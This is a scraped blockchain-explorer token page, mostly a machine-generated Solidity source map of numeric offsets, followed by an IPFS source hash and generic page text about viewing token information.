8409:312;;;;;:::o;8729:149::-;7430:10;-1:-1:-1;;;;;7444:5:0;7430:19;;7426:83;;7473:24;;-1:-1:-1;;;7473:24:0;;;;;;;;;;;7426:83;8793:5:::1;:14:::0;;-1:-1:-1;;;;;;8793:14:0::1;-1:-1:-1::0;;;;;8793:14:0;::::1;::::0;;::::1;::::0;;;8840:29:::1;::::0;8856:4:::1;::::0;8840:7:::1;:29::i;:::-;8818:4;:52:::0;;-1:-1:-1;;;;;;8818:52:0::1;-1:-1:-1::0;;;;;8818:52:0;;;::::1;::::0;;;::::1;::::0;;-1:-1:-1;8729:149:0:o;7840:424::-;7956:4;-1:-1:-1;;;;;7977:18:0;;7985:10;7977:18;7973:237;;-1:-1:-1;;;;;8033:15:0;;8012:18;8033:15;;;:9;:15;;;;;;;;8049:10;8033:27;;;;;;;;8078:19;;;8075:124;;;8125:58;;-1:-1:-1;;;8125:58:0;;8152:10;8125:58;;;3181:51:1;3248:18;;;3241:34;;;3291:18;;;3284:34;;;3154:18;;8125:58:0;2979:345:1;8075:124:0;7997:213;7973:237;8229:27;8239:4;8245:2;8249:6;8229:9;:27::i;:::-;8222:34;;7840:424;;;;;;:::o;9024:78::-;7430:10;-1:-1:-1;;;;;7444:5:0;7430:19;;7426:83;;7473:24;;-1:-1:-1;;;7473:24:0;;;;;;;;;;;7426:83;9084:3:::1;:10:::0;9024:78::o;8272:129::-;8336:4;8360:33;8370:10;8382:2;8386:6;8360:9;:33::i;5855:559::-;5931:12;5953:14;5969;5987:26;5998:6;6006;5987:10;:26::i;:::-;6256:32;;;-1:-1:-1;;3556:2:1;3552:15;;;3548:24;;6256:32:0;;;;3536:37:1;;;;3607:15;;;;3603:24;;;3589:12;;;3582:46;6256:32:0;;;;;;;;;3644:12:1;;;6256:32:0;;6246:43;;;;;;-1:-1:-1;;;;;;6127:231:0;;;3953:26:1;-1:-1:-1;;;3995:11:1;;;3988:74;4078:12;;;4071:28;5340:66:0;4115:12:1;;;;4108:28;;;;6127:231:0;;;;;;;;;;4152:12:1;;;;6127:231:0;;6095:282;;;;;;;-1:-1:-1;;;;;5855:559:0:o;9392:2001::-;9505:4;-1:-1:-1;;;;;9526:16:0;;9522:80;;9566:24;;-1:-1:-1;;;9566:24:0;;-1:-1:-1;;;;;2440:32:1;;9566:24:0;;;2422:51:1;2395:18;;9566:24:0;2276:203:1;9522:80:0;-1:-1:-1;;;;;9632:15:0;;9614;9632;;;:9;:15;;;;;;9662:16;;;9658:103;;;9702:47;;-1:-1:-1;;;9702:47:0;;-1:-1:-1;;;;;3199:32:1;;9702:47:0;;;3181:51:1;3248:18;;;3241:34;;;3291:18;;;3284:34;;;3154:18;;9702:47:0;2979:345:1;9658:103:0;9818:4;;9773:14;;-1:-1:-1;;;;;9802:21:0;;;9818:4;;9802:21;;:44;;-1:-1:-1;9841:4:0;;-1:-1:-1;;;;;9827:19:0;;;9841:4;;9827:19;9802:44;9798:434;;;9914:4;;9864:16;;;;9902:17;;-1:-1:-1;;;;;9914:4:0;9902:11;:17::i;:::-;9954:5;;9863:56;;-1:-1:-1;9863:56:0;-1:-1:-1;;;;;;9954:5:0;9946:4;9938:21;9934:287;;;9984:12;;9980:92;;10030:22;:8;10043;10030:12;:22::i;:::-;10021:31;;9980:92;9934:287;;;10116:12;;10112:92;;10162:22;:8;10175;10162:12;:22::i;:::-;10153:31;;10112:92;9848:384;;9798:434;10267:4;;-1:-1:-1;;;;;10267:4:0;;;10251:21;;;;10247:73;;-1:-1:-1;;;;;10289:10:0;;;;;;:6;:10;;;;;:19;;;10247:73;10348:4;;-1:-1:-1;;;;;10334:19:0;;;10348:4;;10334:19;:36;;;;;10365:5;-1:-1:-1;;;;;10357:13:0;:4;-1:-1:-1;;;;;10357:13:0;;;10334:36;10330:383;;;-1:-1:-1;;;;;10404:12:0;;10387:14;10404:12;;;:6;:12;;;;;;10435:15;;;:29;;;;;10463:1;10454:6;:10;10435:29;10431:271;;;10485:13;10501:15;10510:6;10501;:15;:::i;:::-;10485:31;-1:-1:-1;10535:14:0;10552:29;10485:31;10565:7;10574:6;10552:12;:29::i;:::-;10535:46;;10614:16;;10604:6;:26;10600:87;;10662:5;10655:12;;;;;;;;;10600:87;10466:236;;10431:271;10372:341;10330:383;-1:-1:-1;;;;;10750:15:0;;;;;;;:9;:15;;;;;:25;;;;;;;10870:4;;10750:15;;;;10870:4;;10854:21;:36;;;;;10885:5;-1:-1:-1;;;;;10879:11:0;:2;-1:-1:-1;;;;;10879:11:0;;;10854:36;10850:105;;;10930:3;;10916:27;;:6;;10935:7;10916:13;:27::i;:::-;10907:36;;10850:105;10977:5;-1:-1:-1;;;;;10969:13:0;:4;-1:-1:-1;;;;;10969:13:0;;;:36;;;;-1:-1:-1;11000:4:0;;-1:-1:-1;;;;;10986:19:0;;;11000:4;;10986:19;10969:36;10965:106;;;11046:3;;11032:27;;:6;;11051:7;11032:13;:27::i;:::-;11022:37;;10965:106;11081:16;11100;11109:7;11100:6;:16;:::i;:::-;11081:35;-1:-1:-1;11131:12:0;;11127:155;;-1:-1:-1;;;;;11170:5:0;11160:16;;;;;:9;:16;;;;;:28;;11180:8;;11160:16;:28;;11180:8;;11160:28;:::i;:::-;;;;-1:-1:-1;11203:18:0;;-1:-1:-1;11213:8:0;11203:18;;:::i;:::-;;;11254:5;-1:-1:-1;;;;;11241:29:0;11250:2;-1:-1:-1;;;;;11241:29:0;;11261:8;11241:29;;;;1718:25:1;;1706:2;1691:18;;1572:177;11241:29:0;;;;;;;;11127:155;-1:-1:-1;;;;;11294:13:0;;;;;;:9;:13;;;;;:23;;11311:6;;11294:13;:23;;11311:6;;11294:23;:::i;:::-;;;;;;;;11350:2;-1:-1:-1;;;;;11335:26:0;11344:4;-1:-1:-1;;;;;11335:26:0;;11354:6;11335:26;;;;1718:25:1;;1706:2;1691:18;;1572:177;11335:26:0;;;;;;;;-1:-1:-1;11381:4:0;;9392:2001;-1:-1:-1;;;;;;;;9392:2001:0:o;5491:360::-;5557:14;5573;5610:6;-1:-1:-1;;;;;5600:16:0;:6;-1:-1:-1;;;;;5600:16:0;;5596:88;;5636:40;;-1:-1:-1;;;5636:40:0;;-1:-1:-1;;;;;2440:32:1;;5636:40:0;;;2422:51:1;2395:18;;5636:40:0;2276:203:1;5596:88:0;5718:6;-1:-1:-1;;;;;5709:15:0;:6;-1:-1:-1;;;;;5709:15:0;;:53;;5747:6;5755;5709:53;;;5728:6;5736;5709:53;5690:72;;-1:-1:-1;5690:72:0;-1:-1:-1;;;;;;5773:20:0;;5769:79;;5813:27;;-1:-1:-1;;;5813:27:0;;;;;;;;;;;5769:79;5491:360;;;;;:::o;6418:278::-;6482:16;6500;6537:4;-1:-1:-1;;;;;6529:25:0;;6558:1;6529:30;6525:82;;6418:278;;;:::o;6525:82::-;6640:4;-1:-1:-1;;;;;6640:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;;6615:43:0;;;;;;;-1:-1:-1;6418:278:0;-1:-1:-1;;6418:278:0:o;3445:104::-;3494:14;3526:19;3533:1;2073:4;3543:1;3705:1409;3796:14;;;-1:-1:-1;;3899:1:0;3896;3889:20;3935:1;3932;3928:9;3919:18;;3983:5;3979:2;3976:13;3968:5;3964:2;3960:14;3956:34;3947:43;;;4018:11;4009:5;:20;4005:100;;4049:48;;-1:-1:-1;;;4049:48:0;;;;;5392:25:1;;;5433:18;;;5426:34;;;5365:18;;4049:48:0;5218:248:1;4005:100:0;4117:5;4126:1;4117:10;4113:126;;-1:-1:-1;4174:23:0;;;;-1:-1:-1;4218:13:0;;4113:126;4247:17;4317:11;4314:1;4311;4304:25;4783:1;4506;4491:12;;:16;;4476:32;;4558:25;;;;4764:1;:15;;4763:21;;4810;;;4806:25;;4795:36;4857:21;;;4853:25;;4842:36;4904:21;;;4900:25;;4889:36;4951:21;;;4947:25;;4936:36;4998:21;;;4994:25;;4983:36;5045:21;;;5041:25;;;5030:36;;;4458:15;4658;;;4654:29;;;4650:37;;;4361:20;;;4350:32;;;4717:15;;;;4401:21;;4606:19;;;;4708:24;;;;5088:15;;;-1:-1:-1;;;;3705:1409:0:o;14:180:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;-1:-1:-1;165:23:1;;14:180;-1:-1:-1;14:180:1:o;199:548::-;311:4;340:2;369;358:9;351:21;401:6;395:13;444:6;439:2;428:9;424:18;417:34;469:1;479:140;493:6;490:1;487:13;479:140;;;588:14;;;584:23;;578:30;554:17;;;573:2;550:26;543:66;508:10;;479:140;;;483:3;668:1;663:2;654:6;643:9;639:22;635:31;628:42;738:2;731;727:7;722:2;714:6;710:15;706:29;695:9;691:45;687:54;679:62;;;;199:548;;;;:::o;752:173::-;820:20;;-1:-1:-1;;;;;869:31:1;;859:42;;849:70;;915:1;912;905:12;849:70;752:173;;;:::o;930:254::-;998:6;1006;1059:2;1047:9;1038:7;1034:23;1030:32;1027:52;;;1075:1;1072;1065:12;1027:52;1098:29;1117:9;1098:29;:::i;:::-;1088:39;1174:2;1159:18;;;;1146:32;;-1:-1:-1;;;930:254:1:o;1381:186::-;1440:6;1493:2;1481:9;1472:7;1468:23;1464:32;1461:52;;;1509:1;1506;1499:12;1461:52;1532:29;1551:9;1532:29;:::i;1754:328::-;1831:6;1839;1847;1900:2;1888:9;1879:7;1875:23;1871:32;1868:52;;;1916:1;1913;1906:12;1868:52;1939:29;1958:9;1939:29;:::i;:::-;1929:39;;1987:38;2021:2;2010:9;2006:18;1987:38;:::i;:::-;1977:48;;2072:2;2061:9;2057:18;2044:32;2034:42;;1754:328;;;;;:::o;2714:260::-;2782:6;2790;2843:2;2831:9;2822:7;2818:23;2814:32;2811:52;;;2859:1;2856;2849:12;2811:52;2882:29;2901:9;2882:29;:::i;:::-;2872:39;;2930:38;2964:2;2953:9;2949:18;2930:38;:::i;:::-;2920:48;;2714:260;;;;;:::o;4175:127::-;4236:10;4231:3;4227:20;4224:1;4217:31;4267:4;4264:1;4257:15;4291:4;4288:1;4281:15;4307:128;4374:9;;;4395:11;;;4392:37;;;4409:18;;:::i;4440:125::-;4505:9;;;4526:10;;;4523:36;;;4539:18;;:::i;4570:188::-;4649:13;;-1:-1:-1;;;;;4691:42:1;;4681:53;;4671:81;;4748:1;4745;4738:12;4763:450;4850:6;4858;4866;4919:2;4907:9;4898:7;4894:23;4890:32;4887:52;;;4935:1;4932;4925:12;4887:52;4958:40;4988:9;4958:40;:::i;:::-;4948:50;;5017:49;5062:2;5051:9;5047:18;5017:49;:::i;:::-;5007:59;;5109:2;5098:9;5094:18;5088:25;5153:10;5146:5;5142:22;5135:5;5132:33;5122:61;;5179:1;5176;5169:12;5122:61;5202:5;5192:15;;;4763:450;;;;;:::o
Swarm Source
ipfs://a2369661082fc3487243213e9d5899d2cd4b9f5fcdd31951cfd76cf7c4893422
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)